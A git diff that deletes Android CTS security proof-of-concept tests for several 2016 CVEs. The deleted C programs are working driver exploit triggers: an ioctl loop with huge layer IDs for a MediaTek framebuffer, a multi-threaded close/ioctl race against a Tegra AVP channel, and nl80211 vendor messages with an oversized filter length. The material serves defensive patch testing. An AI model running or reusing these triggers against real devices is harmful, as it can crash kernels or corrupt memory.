-		MTKFB_DISPIF_HDMI,
-		MTKFB_DISPIF_EPD,
-		MTKFB_MAX_DISPLAY_COUNT
-	} MTKFB_DISPIF_DEVICE_TYPE;
-
-	typedef enum {
-		DISPIF_FORMAT_RGB565 = 0,
-		DISPIF_FORMAT_RGB666,
-		DISPIF_FORMAT_RGB888
-	} MTKFB_DISPIF_FORMAT;
-
-
-	typedef enum {
-		DISPIF_MODE_VIDEO = 0,
-		DISPIF_MODE_COMMAND
-	} MTKFB_DISPIF_MODE;
-
-	typedef struct mtk_dispif_info {
-		unsigned int display_id;
-		unsigned int isHwVsyncAvailable;
-		MTKFB_DISPIF_TYPE displayType;
-		unsigned int displayWidth;
-		unsigned int displayHeight;
-		unsigned int displayFormat;
-		MTKFB_DISPIF_MODE displayMode;
-		unsigned int vsyncFPS;
-		unsigned int physicalWidth;
-		unsigned int physicalHeight;
-		unsigned int isConnected;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Wdith */
-		unsigned int lcmOriginalWidth;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Height */
-		unsigned int lcmOriginalHeight;
-	} mtk_dispif_info_t;
-
-#define MAKE_MTK_FB_FORMAT_ID(id, bpp)  (((id) << 8) | (bpp))
-
-	typedef enum {
-		MTK_FB_FORMAT_UNKNOWN = 0,
-
-		MTK_FB_FORMAT_RGB565 = MAKE_MTK_FB_FORMAT_ID(1, 2),
-		MTK_FB_FORMAT_RGB888 = MAKE_MTK_FB_FORMAT_ID(2, 3),
-		MTK_FB_FORMAT_BGR888 = MAKE_MTK_FB_FORMAT_ID(3, 3),
-		MTK_FB_FORMAT_ARGB8888 = MAKE_MTK_FB_FORMAT_ID(4, 4),
-		MTK_FB_FORMAT_ABGR8888 = MAKE_MTK_FB_FORMAT_ID(5, 4),
-		MTK_FB_FORMAT_YUV422 = MAKE_MTK_FB_FORMAT_ID(6, 2),
-		MTK_FB_FORMAT_XRGB8888 = MAKE_MTK_FB_FORMAT_ID(7, 4),
-		MTK_FB_FORMAT_XBGR8888 = MAKE_MTK_FB_FORMAT_ID(8, 4),
-		MTK_FB_FORMAT_UYVY = MAKE_MTK_FB_FORMAT_ID(9, 2),
-		MTK_FB_FORMAT_YUV420_P = MAKE_MTK_FB_FORMAT_ID(10, 2),
-		MTK_FB_FORMAT_YUY2 = MAKE_MTK_FB_FORMAT_ID(11, 2),
-		MTK_FB_FORMAT_BPP_MASK = 0xFF,
-	} MTK_FB_FORMAT;
-
-#define GET_MTK_FB_FORMAT_BPP(f)    ((f) & MTK_FB_FORMAT_BPP_MASK)
-
-
-#ifdef __cplusplus
-}
-#endif
-#endif				/* __DISP_DRV_H__ */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
deleted file mode 100644
index e5f675b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <sys/mman.h>
-#include <fcntl.h>
-//#include <pthread.h>
-#include <sys/prctl.h>
-#include <unistd.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <asm-generic/ioctl.h>
-#include "mtkfb.h"
-int main(int argc, char **argv) {
-    int fd = 0;
-    struct fb_overlay_layer layerInfo;
-    memset(&layerInfo, 0, sizeof(layerInfo));
-    fd = open("/dev/graphics/fb0", O_RDWR);
-    if (fd < 0) {
-		perror("open /dev/graphics/fb0");
-		exit(-1);
-    }
-    printf("Device file opened successfully\n");
-    printf("Trying to get layer info\n");
-    if(ioctl(fd, MTKFB_GET_OVERLAY_LAYER_INFO, &layerInfo) == -1) {
-        perror("ioctl MTKFB_GET_OVERLAY_LAYER_INFO failed");
-        exit(-2);
-    }
-    printf("Got layer info\n");
-    printf("Trying to set layer info\n");
-    // set any huge value here
-    int curr_val = 0xf1111111;
-    while(1) {
-        layerInfo.layer_id = curr_val;
-        if(ioctl(fd, MTKFB_SET_OVERLAY_LAYER, &layerInfo) == -1) {
-            perror("ioctl MTKFB_SET_OVERLAY_LAYER failed");
-            //exit(-2);
-        }
-        curr_val--;
-        if(curr_val == -1) {
-            break;
-        }
-    }
-    printf("Set layer info\n");
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
deleted file mode 100644
index 72129c2..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8449
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
deleted file mode 100755
index 1e76b55..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <string.h>
-#include <errno.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-
-#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...)   printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-#define CLOSE_THREAD_NUM	100
-#define TRY_TIMES		900
-
-#define DEV "/dev/tegra_avpchannel"
-
-#define NVAVP_IOCTL_MAGIC		'n'
-
-struct nvavp_channel_open_args {
-	__u32 channel_fd;
-};
-
-#define NVAVP_IOCTL_CHANNEL_OPEN	_IOR(NVAVP_IOCTL_MAGIC, 0x73, \
-					struct nvavp_channel_open_args)
-
-int fd;
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-
-static int set_affinity(int num)
-{
-	int ret = 0;
-	cpu_set_t mask;
-	CPU_ZERO(&mask);
-	CPU_SET(num, &mask);
-	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
-	if(ret == -1){
-		ERR("[-] set affinity failed");
-	}
-	return ret;
-}
-
-volatile int target_fd;
-volatile int attack;
-void* close_thread(void* no_use)
-{
-	set_affinity(1);
-
-	while(attack){
-		close(target_fd);	
-	}
-
-	return NULL;
-}
-
-int main()
-{
-	int i, try_time = TRY_TIMES, ret;
-	struct nvavp_channel_open_args o_args = { 0 };
-
-	/* bind_cpu */
-	set_affinity(0);
-
-	/* open dev */
-	fd = open(DEV, O_RDONLY);
-	if(fd == -1){
-		ERR("[-] open failed");
-		return 0;
-	} else {
-		LOG("[+] open OK");
-	}
-
-	#if 1
-	ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
-	if(ret == -1) {
-		ERR("[-] ioctl failed");
-		goto out_dev;
-	} else {
-		LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
-	}
-
-	target_fd = o_args.channel_fd;	
-	#endif
-
-	/* create close thread */
-	#if 1
-	attack = 1;
-	for(i = 0; i < CLOSE_THREAD_NUM; i++){
-		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
-		if(ret){
-			ERR("[-] create close thread %d failed", i);
-			goto out_close_thread;
-		}
-	}
-	#endif
-
-	#if 1
-	for(i = 0; i < TRY_TIMES; i++){
-		LOG("[+] %03d times", i);
-		/* open */
-		ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
-		if(ret == -1) {
-			ERR("[-] ioctl failed");
-		} else {
-			LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
-		}
-		//usleep(200);
-	}
-	#endif
-	
-out_close_thread:
-	attack = 0;
-	/* kill close thread */
-	for(i = 0; i < CLOSE_THREAD_NUM; i++){
-		if(close_thread_id[i])
-			pthread_join(close_thread_id[i], NULL);
-	}
-out_dev:
-	close(fd);
-	return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
deleted file mode 100644
index 5ec4302..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8455
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES := external/libnl/include
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
deleted file mode 100644
index 1f58e23..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
+++ /dev/null
@@ -1,318 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 2048
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  /* keep last */
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
-  /* don't use 0 as a valid subcommand */
-  VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
-  /* define all vendor startup commands between 0x0 and 0x0FFF */
-  VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
-  VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
-  /* define all GScan related commands between 0x1000 and 0x10FF */
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
-  /* define all RTT related commands between 0x1100 and 0x11FF */
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
-  /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
-  /* define all wifi calling related commands between 0x1600 and 0x16FF */
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
-  /* define all NAN related commands between 0x1700 and 0x17FF */
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
-  /* define all packet filter related commands between 0x1800 and 0x18FF */
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
-  /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
-  BRCM_VENDOR_SCMD_UNSPEC,
-  BRCM_VENDOR_SCMD_PRIV_STR,
-  GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
-  GSCAN_SUBCMD_SET_CONFIG,
-  GSCAN_SUBCMD_SET_SCAN_CONFIG,
-  GSCAN_SUBCMD_ENABLE_GSCAN,
-  GSCAN_SUBCMD_GET_SCAN_RESULTS,
-  GSCAN_SUBCMD_SCAN_RESULTS,
-  GSCAN_SUBCMD_SET_HOTLIST,
-  GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
-  GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
-  GSCAN_SUBCMD_GET_CHANNEL_LIST,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
-  ANDR_WIFI_RANDOM_MAC_OUI,
-  ANDR_WIFI_NODFS_CHANNELS,
-  ANDR_WIFI_SET_COUNTRY,
-  GSCAN_SUBCMD_SET_EPNO_SSID,
-  WIFI_SUBCMD_SET_SSID_WHITELIST,
-  WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
-  WIFI_SUBCMD_ENABLE_LAZY_ROAM,
-  WIFI_SUBCMD_SET_BSSID_PREF,
-  WIFI_SUBCMD_SET_BSSID_BLACKLIST,
-  GSCAN_SUBCMD_ANQPO_CONFIG,
-  WIFI_SUBCMD_SET_RSSI_MONITOR,
-  WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
-  RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
-  RTT_SUBCMD_CANCEL_CONFIG,
-  RTT_SUBCMD_GETCAPABILITY,
-  RTT_SUBCMD_GETAVAILCHANNEL,
-  RTT_SUBCMD_SET_RESPONDER,
-  RTT_SUBCMD_CANCEL_RESPONDER,
-  LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
-  DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
-  DEBUG_TRIGGER_MEM_DUMP,
-  DEBUG_GET_MEM_DUMP,
-  DEBUG_GET_VER,
-  DEBUG_GET_RING_STATUS,
-  DEBUG_GET_RING_DATA,
-  DEBUG_GET_FEATURE,
-  DEBUG_RESET_LOGGING,
-  DEBUG_TRIGGER_DRIVER_MEM_DUMP,
-  DEBUG_GET_DRIVER_MEM_DUMP,
-  DEBUG_START_PKT_FATE_MONITORING,
-  DEBUG_GET_TX_PKT_FATES,
-  DEBUG_GET_RX_PKT_FATES,
-  DEBUG_GET_WAKE_REASON_STATS,
-  WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
-      ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
-  WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
-  APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
-  APF_SUBCMD_SET_FILTER,
-  /* Add more sub commands here */
-  VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
-#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
-  wifi_channel_width_t width;
-  wifi_channel center_freq;  /* primary 20 MHz channel */
-  wifi_channel center_freq0; /* center freq (MHz) first segment */
-  wifi_channel
-      center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-#define APF_ATTRIBUTE_PROGRAM_LEN 3
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-int test(void);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  struct nlattr *rret3;
-  struct nlattr *rret4;
-  unsigned char buf_test[256];
-
-  int i = 0;
-
-  wifi_channel_info_t c_info;
-
-  unsigned char hb_params[512];
-#define DOT11_MAX_SSID_LEN 32
-  unsigned char SSID11[DOT11_MAX_SSID_LEN];
-  struct nl80211_sta_flag_update flags;
-
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, APF_SUBCMD_SET_FILTER);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-
-  nla_put_u32(msg, APF_ATTRIBUTE_PROGRAM_LEN, 0xffffffff);
-
-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
deleted file mode 100644
index 75688b5..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8456
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
deleted file mode 100644
index 9367c45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
+++ /dev/null
@@ -1,313 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 1024
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
